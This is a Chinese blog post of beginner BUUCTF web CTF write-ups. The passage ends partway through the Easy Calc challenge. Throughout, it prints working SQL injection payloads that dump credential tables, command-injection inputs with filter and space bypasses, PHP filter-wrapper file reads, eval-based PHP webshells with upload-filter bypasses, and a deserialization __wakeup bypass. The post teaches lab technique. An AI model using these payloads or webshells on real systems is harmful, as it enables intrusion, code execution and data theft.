【CTF入门】BUUCTF Web刷题(持续更新)

【CTF入门】BUUCTF Web刷题

[极客大挑战 2019]EasySQL

打开网站,我们看到这个页面:

image-20240721174128441

又是SQL注入,做吐了,按思路来能输入的地方都是注入点,我们尝试注入:

image-20240721175006573

获得flag

image-20240721175014523

考点:SQL注入

[极客大挑战 2019]Havefun

打开网站,我们看到这个页面:

image-20240721175159533

我们看不出什么信息,首先观察一下网站的源码,我们在底部发现了注释的语句:

image-20240721175244030

$cat=$_GET['cat']

echo $cat;

if($cat=='dog'){

	echo 'Syc{cat_cat_cat}'

}

很简单的代码审计,我们GET请求名为“cat”的参数,当“cat”的值为“dog”时将会返回'Syc{cat_cat_cat}'字符串内容

得到flag:

image-20240721175533085

考点:查看源码信息收集、代码审计

[ACTF2020 新生赛]Include

打开网站,我们看到这个页面:

image-20240805154855052

我们点击tips,可以发现“file”参数读取了flag.php文件,回显了页面:

image-20240805154951162

GET请求中的“file”参数可以成为我们利用的注入点

我们可以在“file”参数后使用php伪协议,相关知识点可以查看这一段:【CTF入门】BUUCTF N1BOOK闯关(持续更新) - Super_Snow_Sword - 博客园 (cnblogs.com)

因此我们可以给“file”参数赋予以下值以尝试查看经base64编码后的flag.php的源码:

php://filter/read=convert.base64-encode/resource=flag.php

image-20240805155450705

我们尝试解码即可获得flag:

image-20240805155537814

考点:理解任意文件读取漏洞、会使用PHP伪协议

[ACTF2020 新生赛]Exec

打开网站,我们看到这个页面:

image-20240805155838134

我们随手输入一个地址,发现这是一个可以为我们执行ping指令并回显的网页:

image-20240805155956893

那么我们可以推测这是服务器执行了以下命令并给出了回显:

ping 127.0.0.1

我们可以将输入框作为注入点,原理同SQL注入原理,我们可以在命令的后方加上多命令执行符来执行自定义命令,进行堆叠。

     ;               命令1;命令2             多个命令顺序执行,命令之间无任何逻辑关系
    &&               命令1&&命令2            逻辑与:当命令1正确执行后,命令2才会正确执行,否则命令2不会执行
    ||               命令1||命令2            逻辑或:当命令1不正确执行后,命令2才会正确执行,否则命令2不会执行
	 |				 命令1| 命令2			 命令1的正确输出作为命令2的操作对象

我们首先探测当前目录:

ping 127.0.0.1; ls

image-20240805160648888

可以发现服务器执行了“ls”指令,将输出的结果连接在了“ping 127.0.0.1”的输出内容后面

因此我们可以得知当前网站目录下的文件仅有“index.php”,就是现在我们所看到的网页

那么我们继续进行目录探测:

ping 127.0.0.1; ls ../

image-20240805161023034

探索了一番没什么有价值的,继续向上探测:

ping 127.0.0.1; ls ../../

image-20240805161138904

回显的文件夹多了,我们先不用探索(一般flag都会藏在根目录),继续向上探测:

ping 127.0.0.1; ls ../../../

image-20240805161247254

果然我们找到了flag,但我们并不知道它是文件还是文件夹,于是我们先当成文件夹探索:

ping 127.0.0.1; ls ../../../flag

image-20240805161339906

回显出现错误,说明flag应该为文本文件,我们使用“cat”命令进行读取,得到了flag:

ping 127.0.0.1; cat ../../../flag

image-20240805161500175

考点:理解服务器命令执行原理、(linux基础)会使用管道符来进行骚操作

[GXYCTF2019]Ping Ping Ping

打开网站,我们看到这个页面:

image-20240805161852066

我们按照提示进行添加GET请求参数“ip”:

image-20240805161940260

我们可以推测这与上一题的原理相同,进行目录探测:

image-20240805162026833

我们直接尝试读取flag.php:

image-20240805162108545

发现我们的输入不能有空格,我们可以上网搜索命令行空格绕过的方式:

image-20240805162357198

命令绕过空格方法

cat${lFS}flag.txt:使用空格作为分隔符来读取文件fag.txt
cat$lFS$9flag.txt:使用空格和制表符作为分隔符来读取文件flag.txt
cat<flag.txt:使用输入重定向来读取文件fag.txt
cat<>flag.txt:使用输入输出重定向来读取文件flag.txt
cat%09flag.txt:使用%09(tab)来替代空格(%20)
kg=$'\x20fiag.tx'&&cat$kg:使用变量kg来存储空格字符,并通过变量的方式绕过过滤。

我们可以逐个尝试:

image-20240805162710790

替换空格的“${lFS}”也被过滤了,我们继续:

image-20240805162835453

我们发现我们输入的“flag”也被过滤了,我们先看看网页源码index.php的内容看看还有哪些被过滤了:

image-20240805163319591

preg_match("/.*f.*l.*a.*g.*/", $ip)

我们可以在这一段发现“ip”参数过滤了按顺序包含“f”“l”“a”“g”四个字母的字符串,举个例子:

bbbfbbblbbbabbbg	被过滤
falg	不被过滤

flag被过滤在此拥有很多绕过的方式,在此进行举例

命令中“flag”被过滤的情况下

1.用“*”或“?”等通配符来替代“flag”中的字符

cat fla*
cat fla?
cat fl''ag

2.base64编码绕过:

我们将“flag.php”字符串进行base64编码可以得到“ZmxhZy5waHA=”

我们可以先将相关命令编码再立刻使用命令进行解码:

?ip=127.0.0.1;cat `echo 'ZmxhZy5waHA=' | base64 -d`

` 反引号,将内容作为命令处理

echo 输出后边接上的内容

也就是说反引号的内容会变为:“ZmxhZy5waHA=”

| 前方命令的正确输出(cat `ZmxhZy5waHA=)作为命令2的操作对象

base64 -d` 将反引号中的内容进行base64解码(cat flag.php)

以上方法在这道题目中很多符号被过滤了所以不能使用

3.利用变量去绕过

我们可以自行构造两个变量来进行拼接得到“flag”这个字符串,如:

a=fl;b=ag;cat $a$b

因为"f""l""a""g"四个字母不能按顺序出现,所以在这道题目中可以写为:

?ip=127.0.0.1;a=g;cat fla$a.php

以上方法在这道题目中“$”符号没有被过滤所以可以使用(别忘了空格绕过)

image-20240805165959296

发现并没有回显,我们查看网页源码可以发现输出的“flag.php”内容:

image-20240805170123843

考点:理解服务器命令执行原理、(linux基础)会使用管道符来进行骚操作、学会上网搜索相关绕过方法并利用

[SUCTF 2019]EasySQL

打开网站,我们看到这个页面:

image-20240806144610921

按照提示我们随手输入一个flag:

image-20240806144930324

按照题目提示这是SQL注入,按照一般注入流程进行。

尝试输入1查看回显,回显如图所示:

image-20240806151650792

尝试将 1 和 or 一起输入,即 1 or 1=1判断注入点是否为数字型:

image-20240806151822676

回显报错,我们可以推测网站过滤了“or”,我们使用字典来fuzz一下判断有哪些关键词被过滤了:

image-20240806152639583

我们可以判断输入框存在数字型注入,并且很多关键词都被过滤了,使用堆叠注入的方式进行查询库名:

image-20240806145252249

再查询当前网站使用库中的表名:

image-20240806145807416

我们尝试查询表“Flag”中的内容:

image-20240806153732094

“from”和“flag”都被过滤了,因此无法使用这个方法查询“Flag”中的内容

(以下内容参考BUU-Web-SUCTF 2019]EasySQL - 哔哩哔哩 (bilibili.com)与[SUCTF 2019]EasySQL1 题目分析与详解_[suctf 2019]easysql 1-CSDN博客

此时我们想到,开始时我们输入1有会显,我们再尝试输入0:

image-20240806154126447

输入0发现无回显,我们尝试输入字母试试:

image-20240806154145219

输入abc发现依然没有回显。这时我们可以总结出一条规律,输入非0数字--有回显,输入0或字母--没有回显,我们由此可以猜测后端代码含有 “||”或运算符“or”。

“||” 或运算符“or”讲解

select command1 || command2

情况一:若command1为非0数字,则结果为1。

情况二:若command1为0或字母,command2为非0数字,则结果为1。

情况三:command1和command2都不为非0数字,则结果为0。

那么当我们输入“1”时,网站的查询语句我们可以猜测为:

select 1 || (command2)
或
select 1 or (command2)

command1即我们的输入已经过滤了很多查询关键词了,因此我们可以猜测command2的内容即是查询flag的语句,那么我们现在需要想办法绕过“||”或“or”并执行command2

方法一:使用Sql_mode 中的PIPES_AS_CONCAT函数

PIPES_AS_CONCAT:将原本的“||”或“or”转换为“连接字符”,就是将||前后进行拼接

1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接过后的结果就是:

select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || (command2)
或
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 or (command2)

数据库就会识别为

select 1||flag from Flag;

注意:这里的||以及不是或的意思,是管道符的意思,就是将1查询完后,会继续执行command2的内容,然后将结果合并返回,如图:

image-20240806155825677

1后面的就是我们的flag

别的sql_mode

ANSI_QUOTES 启用 ANSI_QUOTES 后,不能用双引号来引用字符串,因为它被解释为识别符,作用与 `(反引号)一样。设置它以后,update t set f1="" ...,会报 Unknown column '' in 'field list 这样的语法错误。

NO_TABLE_OPTIONS 使用 SHOW CREATE TABLE 时不会输出MySQL特有的语法部分,如 ENGINE ,这个在使用 mysqldump 跨DB种类迁移的时候需要考虑。

NO_AUTO_CREATE_USER 字面意思不自动创建用户。在给MySQL用户授权时,我们习惯使用 GRANT ... ON ... TO dbuser 顺道一起创建用户。设置该选项后就与oracle操作类似,授权之前必须先建立用户。5.7.7开始也默认了。

方法二:利用非预期注入方式获取Flag

我们抓包可以知道我们传递的参数为“query”,假设我们传递过去的内容会如此解析:

$sql = "select ".$post['query']." || (command2)";
或
$sql = "select ".$post['query']." or (command2)";

因此我们可以在传递值这边做文章,让数据库进行错误的判断

我们可以尝试传入1,1

image-20240806160018949

我们可以发现,这里的内容查询不是对【1,1】||【command2】的查询
而是对【1】,【1||command2】的查询
这就是数据库对符号的判断不严谨,导致的非预期漏洞

我们就可以将","前的内容改为“ * ”, 从而构建PayLoad:

*,1

查询内容为:

select *,1 || (command2)
或
select *,1 or (command2)

相当于:

select *	,	1 || (command2)
或
select *	,	1 or (command2)

成功拿到flag

image-20240806160514427

若command2与得到flag的命令无关,这会是题目的一种解法

考点:SQL堆叠注入、利用Sql_mode中的PIPES_AS_CONCAT 将 || 的作用转换连接、SQL非预期注入

[强网杯 2019]随便注

打开网站,我们看到这个页面:

image-20240721221506442

SQL注入,按照一般注入流程进行:

image-20240721221603449

确定是字符型注入,我们尝试联合查询,大部分命令被过滤了:

image-20240721221904939

因此我们使用堆叠注入:

1' ;show databases; #

image-20240721222732058

我们发现supersqli是网站搭载的数据库

1' ;show tables from supersqli; #

image-20240721222652858

1';show columns from `1919810931114514` #

image-20240721223229923

我们可以推测,正常的查询请求是在查询表“words”的内容

之后想要查询flag数据需要使用被过滤的命令,因此在这里拥有两种方法:

方法一:自定义预定义语句并执行(mysql的语法知识)

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
或
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
或
1';set @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

这里set为变量赋值

char(115,101,108,101,99,116)<----->'select'

PREPARE设置sql查询预定义语句

EXECUTE 执行函数

方法二:编码逃逸 绕过过滤

由于select被过滤,考虑使用编码进行绕过
使用select查询就很简单了
构造payload

select * from where 1919810931114514

*号查询数据表里面的全部内容,这就是爆出flag的原理
进行16进制编码加密

73656c656374202a2066726f6d20603139313938313039333131313435313460

最终payload:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

方法三:handler代替select

select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。
构造payload:

1'; handler 1919810931114514 open as a; handler a read next;#

handler代替select,以一行一行显示内容
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数

方法四:偷梁换柱思路

使用以下思路:

在存有flag的“1919810931114514”表中添加一个id列内容为NULL

将"words"表改成其他名字

将存有flag的“1919810931114514”表改名为"words"

1';
alter table `1919810931114514` add(id int NULL);
rename table `words` to `xuejian`;
rename table `1919810931114514` to `words`;#

这里完了之后我们的flag表里面的值是显示不出来的因为id 是NULL所以用or 1=1语句前面的语句返回为假 后面的返回为真也是真

image-20240721225603317

考点:SQL堆叠注入、concat拼接、SQL表格偷梁换柱

[极客大挑战 2019]LoveSQL

打开网站,我们看到这个页面:

image-20240926200626439

登录框存在SQL注入,我们按照正常流程进行注入

登录框SQL注入流程

1.尝试万能密码登陆

我们尝试注入:

admin' or 1=1 #

image-20240926200648620

2.寻找注入点

注意URL框,我们可以发现我们的登录请求是使用GET请求传递的,参数为“username”和“password”

3.判断网站查询的字段数

根据URL框来构造相关的payload:

username=admin%27+order+by+1%23&password=123456

正常显示

username=admin%27+order+by+2%23&password=123456

正常显示

username=admin%27+order+by+3%23&password=123456

正常显示

username=admin%27+order+by+4%23&password=123456

报错,因此我们可以判断网站查询的字段数为3

image-20240926200743558

4.判断网站的回显位置

根据URL框来构造相关的payload:

username=admin%27+and+1+%3D+2+union+select+1,2,3%23&password=123456

image-20240926200801194

发现2,3的位置可以回显

5.获取网站当前所在数据库的库名

username=admin%27+and+1+%3D+2+union+select+1,database(),3%23&password=123456

image-20240926200819922

可以发现网站当前所在数据库的库名为“geek”

6.获取数据库geek的全部表名

username=admin%27+and+1+%3D+2+union+select+1,database(),group_concat(table_name)+from+information_schema.tables+where+table_schema='geek'%23&password=123456

image-20240926200837163

可以发现数据库geek内含有的表名有“geekuser”“l0ve1sq1”

7.获取geekuser表和l0ve1ysq1的全部字段名

username=admin%27+and+1+%3D+2+union+select+1,database(),group_concat(column_name)+from+information_schema.columns+where+table_schema='geek'+and+table_name='geekuser'%23&password=123456

image-20240926200903993

可以发现数据表geekuser内含有的字段有“id”“username”“password”

username=admin%27+and+1+%3D+2+union+select+1,database(),group_concat(column_name)+from+information_schema.columns+where+table_schema='geek'+and+table_name='l0ve1ysq1'%23&password=123456

image-20240926200937086

可以发现数据表l0ve1ysq1内含有的字段有“id”“username”“password”

8.爆出geekuser表和l0ve1ysq1表id、username和password字段的全部值。

username=admin%27+and+1+%3D+2+union+select+1,database(),concat_ws(',',id,username,password)+from+geek.geekuser+limit+0,1%23&password=123456

image-20240926200956302

发现geekuser表中只有admin的数据

username=admin%27+and+1+%3D+2+union+select+1,database(),concat_ws(',',id,username,password)+from+geek.l0ve1ysq1+limit+0,1%23&password=123456

我们逐条查看l0ve1ysq1表中的内容:

image-20240926201137668

最终在第15条找到了flag:

image-20240926201204602

因为这道题目没有设置限制,所以可以直接全部输出:

username=admin%27+and+1+%3D+2+union+select+1,database(),group_concat(id,username,password)+from+geek.l0ve1ysq1%23&password=123456

image-20240926201239903

考点:理解SQL注入的正常流程

[极客大挑战 2019]Secret File

打开网站,我们看到这个页面:

image-20240927140942631

我们看不出什么信息,首先观察一下网站的源码:

image-20240927141004515

我们发现了隐藏的文件“Archive_room.php”,我们尝试访问:

image-20240927141018424

“SECRET”按钮十分显眼,我们点击查看:

image-20240927142450089

我们看不出什么查阅的信息,可能查阅的信息隐藏在响应包里了,我们抓个包查看一下(使用burpsuit抓包相关内容:【CTF入门】BUUCTF N1BOOK闯关(持续更新) - Super_Snow_Sword - 博客园 (cnblogs.com)):

image-20240927143006729

可以发现响应包里面隐藏着新的文件名称“secr3t.php”,我们尝试访问:

image-20240927143032104

代码审计,我们可以发现我们应该使用GET请求传递参数“file”,经过滤后“file”参数会使用include文件包含的方法来读取flag.php的内容

我们尝试直接读取flag.php的内容:

image-20240927143130655

直接运行flag.php不会有flag的回显,因此我们使用PHP伪协议查看经base64编码后的flag.php的源码:

?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20240927143150916

进行base64解码即可获得flag

考点:查看源码信息收集、寻找响应包隐藏信息、代码审计、理解任意文件读取漏洞、会使用PHP伪协议

[极客大挑战 2019]Http

打开网站,我们看到这个页面(要记得在前面加上http://):

image-20240927143837134

我们看不出什么信息,首先观察一下网站的源码:

image-20240927144038267

我们发现了隐藏的文件“Secret.php”,我们尝试访问:

image-20240927144055717

页面回显提示“不是来自'https://Sycsecret.buuoj.cn'(的请求)”,结合题目名“Http”提示我们可以明白我们应该在请求包上做修改

Http请求包

可以先看看这个视频进行初步理解:HTTP是什么

我们进行抓包,可以发现我们向网站发起的请求包:

image-20240927144145902

我们可以发现Http请求包的构成要素:

请求行、请求头、空行、请求体

我们进行逐行分析:

向服务器端发送信号,表示客户端优先选择加密及带有身份验证的响应GET /Secret.php HTTP/1.1
请求行,我们使用了GET方式请求Secret.php文件,并且给出了HTTP的版本号

Host: node5.buuoj.cn:27440
指定请求的服务器的域名和端口号

Accept-Language: zh-CN,zh;q=0.9
浏览器可接受的语言

Upgrade-Insecure-Requests: 1
向服务器端发送信号,表示客户端优先选择加密及带有身份验证的响应

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
包含发出请求的用户信息(我们可以看见请求体中的内容是用户的主机信息和谷歌浏览器的信息)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
指定客户端能够接收的内容类型

Accept-Encoding: gzip, deflate, br
指定浏览器可以支持的web服务器返回内容压缩编码类型

Connection: keep-alive
表示是否需要持久连接。(HTTP 1.1默认进行持久连接)

我们将请求包发送到重放器(repeater)方便进行修改,按照题目提示“不是来自'https://Sycsecret.buuoj.cn'(的请求)”,我们添加相关的请求头和请求体:

referer: https://Sycsecret.buuoj.cn
指定先前网页的地址,即说明我是从“https://Sycsecret.buuoj.cn”这个网址转来的

可以手动添加,也可以使用burpsuit的功能添加

image-20240927144419951

image-20240927144659485

发送请求,发现了下一个提示“请使用‘Syclover’浏览器”

这样的话我们需要修改User-Agent请求头的内容:

User-Agent: Syclover

image-20240927144734889

发送请求,发现了下一个提示“你只能本地阅读这个”,翻译一下就是说我们只能以127.0.0.1的ip来访问这个页面

这里我使用了burpsuit的扩展生成了很多请求头得到了flag

image-20240927144803039

image-20240927144817980

可以发现伪造ip地址的请求头有很多种

不清楚是什么原因flag一直出不来,看网上WP说只要伪造了X-Forwarded-For请求头就可以了,但这里失败了原因不明

考点:查看源码信息收集、寻找响应包隐藏信息、Http请求伪造

[极客大挑战 2019]Upload

打开网站,我们看到这个页面:

image-20240927150348739

这是一个文件上传点,我们可以上传webshell为自己使用(webshell是什么待补充)

我们构造一句话木马php文件:

<?php @eval($_POST['shell'];?>

(注意,这里如果开了安全软件可能会直接报错将其删除)

我们尝试上传webshell(使用burpsuite进行拦截重放方便我们进行绕过):

image-20240927150936268

我们的文件直接被识别为后门文件而被拦截了,我们分析请求包:

image-20240927151136235

我们可以在Content-Type请求头的内容看到请求体开头为application/octet-stream

MIME类型

MIME 类型(Multipurpose Internet Mail Extensions)是一种标准,用于描述互联网传输的数据类型。它最初用于电子邮件,但现在广泛应用于网页和其他互联网协议。MIME 类型的主要功能包括:内容类型标识、文件处理、格式化。

在这里我们上传的文件MIME类被识别为application/octet-stream,表示请求或响应的内容是二进制数据。

我们可以在这里进行绕过,按照这个页面叫做“头像上传”,因此我们可以将MIME类型伪造为图片:

Content-Type: image/jpeg

为了防止有PHP getimagesize的检查,我们再在文件内容中加上GIF文件的文件头:

GIF89a
<?php @eval($_POST['shell'];?>

image-20240927153058223

php文件不允许上传,那么我们在文件后缀上做手脚就行了

可用的php绕过后缀名

php5
php4
php3
php2
phtml(包含 PHP 代码的 HTML 文件)
php~(带波浪号的备份文件)
phps(用于高亮显示的 PHP 文件)
phar
pht
php7
php8

我们逐一尝试,终于在phtml处成功了:

image-20240927154614802

这次说我们的一句话木马中含有<?,并且我们上传的是phtml文件原来的一句话木马不适用

phtml文件

包含 PHP 代码的 HTML 文件,文件中可以嵌入 PHP 代码,与 HTML 内容混合。当浏览器请求 .phtml 文件时,服务器会解析其中的 PHP 代码并返回生成的 HTML。

我们在此修改脚本再次进行绕过:

GIF89a
<script language='php'>@eval($_POST[shell]);</script>

image-20240927154558736

文件上传成功,我们进行访问:

image-20240927153359012

并不在网站的根目录,我们在此应该再找到文件上传的目录,一般上传目录为/upload/uploads,正确流程在此应该进行目录扫描(使用dirsearch进行目录扫描),我跳过直接尝试访问/upload了:

image-20240927154117384

可以发现这里我们都可以自由访问,存在目录遍历的漏洞,可以在其中发现我们上传的shell.phtml

在此我们使用中国蚁剑工具对我们上传的webshell进行利用:

image-20240927154349443

添加的数据是我们利用的webshell的路径,连接密码是webshell利用的参数:

image-20240927154646828

我们添加即可通过shell访问靶机:

image-20240927154735397

一般flag都藏在靶机的根目录下,我们找到了flag

考点:理解文件上传原理、拥有文件上传的基本绕过思路

[极客大挑战 2019]Knife

打开网站,我们看到这个页面:

image-20240927155001013

这里给了我们一个webshell,我们可以直接利用:

image-20240927155047948

我们直接访问靶机根目录得到flag

image-20240927155140410

考点:理解文件上传原理

[ACTF2020 新生赛]Upload

打开网站,我们看到这个页面:

image-20240927155406993

这里藏着一个文件上传点:

image-20240927155427091

我们从最简单的一句话木马开始构造:

<?php @eval($_POST['shell'];?>

image-20240927155659179

修改后缀,我们上传shell.png,然后在拦截的请求包中将文件名改为shell.php:

image-20240927155909213

被拦截了,我们加上GIF图片的文件头:

GIF89a
<?php @eval($_POST['shell'];?>

image-20240927155952074

回显bad file,说明我们上传的文件不符合规范,没有提示哪里有问题,我们只好进行黑盒测试

从php后缀开始,我们逐个尝试,在phtml后缀成功了:

image-20240927161641326

上传成功,页面回显了上传的路径,我们尝试进行利用:

image-20240927161628853

考点:理解文件上传原理、拥有文件上传的基本绕过思路

[极客大挑战 2019]BabySQL

打开网站,我们看到这个页面:

image-20240927161753278

我们尝试使用万能账号密码进行注入:

image-20240927161957870

image-20240927162030964

可以发现我们通过注入构造出的语句:

1=1 #' and password='admin' 1=1 #

or被过滤了,经过滤后转换成了空值

在此我们可以进行双写绕过

双写绕过

既然or会被转换成空格,那么我们将注入语句的or命令改为oorr,经过滤转换or为空值,剩下的or就能组合成or

我们尝试注入:

image-20240927162734035

得到了admin账户的密码(不是flag):

image-20240927162743955

那么我们就可以按此进行注入(经测试发现被过滤的不止有or,还有byandunionselectfrom等):

username=admin%27+oorrder+by+4%23&password=123456

报错,因此我们可以判断网站查询的字段数为3

username=admin%27+aandnd+1+%3D+2+uunionnion+sselectelect+1,2,3%23&password=123456

image-20240927163243638

发现2,3的位置可以回显

username=admin%27+aandnd+1+%3D+2+uunionnion+sselectelect+1,database(),3%23&password=123456

image-20240927163449837

可以发现网站当前所在数据库的库名为“geek”

username=admin%27+aandnd+1+%3D+2+uunionnion+sselectelect+1,database(),group_concat(table_name)+ffromrom+infoorrmation_schema.tables+wwherehere+table_schema='geek'%23&password=123456

image-20240927163837428

可以发现数据库geek内含有的表名有“b4bsql”“geekuser”

username=admin%27+aandnd+1+%3D+2+uunionnion+sselectelect+1,database(),group_concat(column_name)+ffromrom+infoorrmation_schema.columns+wwherehere+table_schema='geek'+aandnd+table_name='b4bsql'%23&password=123456

image-20240927164122638

可以发现数据表b4bsql内含有的字段有“id”“username”“password”

username=admin%27+aandnd+1+%3D+2+uunionnion+sselectelect+1,database(),group_concat(id,username,passwoorrd)+ffromrom+geek.b4bsql%23&password=123456

image-20240927164333655

得到flag

考点:理解SQL注入的正常流程、理解双写绕过

[极客大挑战 2019]PHP(较难)

打开网站,我们看到这个页面:

image-20240927164720858

我们看不出什么信息,首先观察一下网站的源码,也没有发现什么东西

没有其他信息,我们对网站进行目录扫描(把线程拉到最低了就怕扫不出来...):

dirsearch -u http://53085805-fc22-4aae-9bd9-59409104191a.node5.buuoj.cn:81 -i 200 -t 1

image-20240927174344783

扫出了三个文件,index.js就是猫猫小游戏的源码,我们从robots.txt开始观察:

image-20240927174447783

访问/static/secretkey.txt

image-20240927174458014

没有其他线索,我们访问下载www.zip

备份文件泄露

ZIP备份文件泄露通常指的是存储在ZIP备份文件中的敏感数据或文件被未经授权的人员访问或下载

我们打开www.zip查看其中内容:

image-20240927174741704

看看flag.php中的内容:

image-20240927174851777

假的flag,略过

我们查看分析网站源码index.php:

image-20240927174946910

我们可以看出网站引入了class.php,并通过GET方式请求select参数,并将select参数进行反序列化存储到res变量中

反序列化和序列化

反序列化是将序列化的数据转换回原始数据结构的过程。序列化是将对象或数据结构转换为可存储或传输的格式(如字符串或字节流)

举例:假设我们有一个简单的PHP类User

class User {
    public $name;
    public $email;

    public function __construct($name, $email) {
        $this->name = $name;
        $this->email = $email;
    }
}

// 创建一个对象并序列化
$user = new User("Alice", "alice@example.com");
$serializedUser = serialize($user);

serialize($user)$user对象序列化转换为字符串,结果为:

O:4:"User":2:{s:4:"name";s:5:"Alice";s:5:"email";s:20:"alice@example.com";}

O:4:"User":2: O表示这是一个对象(Object) 4是类名的长度 "User"是类名本身,表示这个对象是User类的实例。 2表示对象中的属性数量,意味着该对象有两个属性。

s:4:"name"; s 表示一个字符串(string) 4 是字符串的长度,"name"是属性名

s:5:"Alice"; s表示字符串 5 是字符串的长度,"Alice"是属性值

这样我们就可以将这个字符串进行传输或存储了

反序列化即将以上字符串转换成一个User对象

$unserializedUser = unserialize($serializedUser);
echo $unserializedUser->name; // 输出 "Alice"

回到题目,我们再打开class.php分析:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

其中含有php魔术方法

php魔术方法

魔术方法是PHP中特殊的方法,可以在特定情况下自动调用

在上面的代码中含有的魔术方法有:

__construct():对象创建时调用。
__wakeup():在反序列化对象时调用,用于恢复对象的状态。
__destruct():对象销毁时调用。

回到题目,我们可以发现当Name对象中的username=admin、password=100时,将会回显flag

因此我们需要构造序列化的Name对象,通过select反序列化传参,我们根据源码编写脚本对Name对象进行序列化:

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
echo(serialize($a));

?>

image-20240927182747804

保存为index.php,使用小皮面板工具打开即可看到输出:

image-20240927182837810

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

我们复制并传入select参数中,没有回显:

image-20240927184428216

回到代码中,当select反序列化时,魔术方法__wakeup()会将username的值强制改为guest,我们得想办法跳过魔术方法__wakeup()

跳过魔术方法__wakeup()

在反序列化时,当前属性个数不等于实际属性个数时,就会跳过__wakeup()

原理:反序列化过程会尝试将序列化数据中的属性映射到对象的属性上,如果有不匹配的情况(如多余的属性),则会导致__wakeup()被跳过

因此我们修改对象中的属性数量:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

image-20240927184532053

还是不行,我们回到代码中继续分析

我们发现username和password是private声明的字段,为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。

私有属性的序列化

在PHP中,序列化时,私有属性会被加上特殊的前缀,以指示它们的访问控制。这些前缀通常是\0

因为在PHP序列化中,使用的是\0来表示空字符,所以之前我们都没有得到包含\0的输出

举例:假设我们有一个简单的PHP类Example

class Example {
    private $username = 'Alice';
    private $password = '12345';
}

$instance = new Example();
$serializedData = serialize($instance);

serialize($instance)$Example对象中的私有字段序列化转换为字符串,结果为:

O:7:"Example":2:{s:17:"\0Example\0username";s:5:"Alice";s:17:"\0Example\0password";s:5:"12345";}

再根据URL解码方式,我们传入的\0应写为%00

综上所述,我们应该传入的select的值为:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

image-20240927190615796

终于得到了flag

考点:目录扫描、理解反序列化

[ACTF2020 新生赛]BackupFile(知识巩固题)

打开网站,我们看到这个页面:

image-20241001123044161

说是要我们找到源文件,buuctf的靶场很不耐草所以我们把线程拉到最低。。。

dirsearch -u http://53085805-fc22-4aae-9bd9-59409104191a.node5.buuoj.cn:81 -i 200 -t 1

我们扫到了名为/index.php.bak的备份文件,我们访问进行下载

image-20241001124539225

在此我们进行代码审计:

<?php
// 包含 flag.php 文件,通常用于获取标志或敏感信息
include_once "flag.php";

// 检查是否通过 GET 请求传递了 'key' 参数
if(isset($_GET['key'])) {
    // 获取 'key' 参数的值
    $key = $_GET['key'];
    
    // 检查 'key' 是否为数字,如果不是,则退出并输出提示信息
    if(!is_numeric($key)) {
        exit("Just num!"); // 如果 'key' 不是数字,提示用户输入数字
    }
    
    // 将 'key' 转换为整数
    $key = intval($key);
    
    // 定义一个字符串变量,包含了一串字符
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    
    // 检查传入的 'key' 是否与定义的字符串 $str 相等
    if($key == $str) {
        // 如果相等,输出 $flag 变量的内容,通常是一个标志或敏感信息
        echo $flag;
    }
} else {
    // 如果没有提供 'key' 参数,提示用户尝试查找源文件
    echo "Try to find out source file!";
}

我们发现代码中有一处相互矛盾的地方,我们需要传入参数key使得$key == $str,但str是一个字符串而key只能是数字,我们应该如何使得$key == $str呢?

相等运算和全等运算

==(相等运算符)

进行类型转换。如果两边的值在进行类型转换后相等,比较结果为 true

===(全等运算符)

不进行类型转换。只有在值和类型都相等的情况下,比较结果才为 true

回到题目,在这里我们发现需要满足的条件是$key == $strkey只能是整数数字intstr经相等运算符转换后变成int值为123

也就是说当我们传入key=123时,就能够满足$key == $str

image-20241001124116678

得到flag

考点:目录扫描、代码审计

[RoarCTF 2019]Easy Calc(新注入)

打开网站,我们看到这个页面:

image-20241001130134974

我们试着输入几个数学表达式成功计算了,就是一个能够实现计算器功能的网站

查看网站源码,发现以下内容:

image-20241001130454526

我们进行代码审计:

<script> //标签用于在 HTML 文档中嵌入或引用 JavaScript 代码。

// 为 ID 为 'calc' 的表单添加提交事件处理函数
$('#calc').submit(function() {
    // 发起 AJAX 请求
    $.ajax({
        // 设置请求的 URL,将用户输入的值作为查询参数 'num' 传递
        url: "calc.php?num=" + encodeURIComponent($("#content").val()),
        // 设置请求类型为 GET
        type: 'GET',
        // 请求成功时的回调函数
        success: function(data) {
            // 将返回的数据插入到 ID 为 'result' 的元素中,并显示为成功的消息
            $("#result").html(`<div class="alert alert-success">
                <strong>答案:</strong>${data}
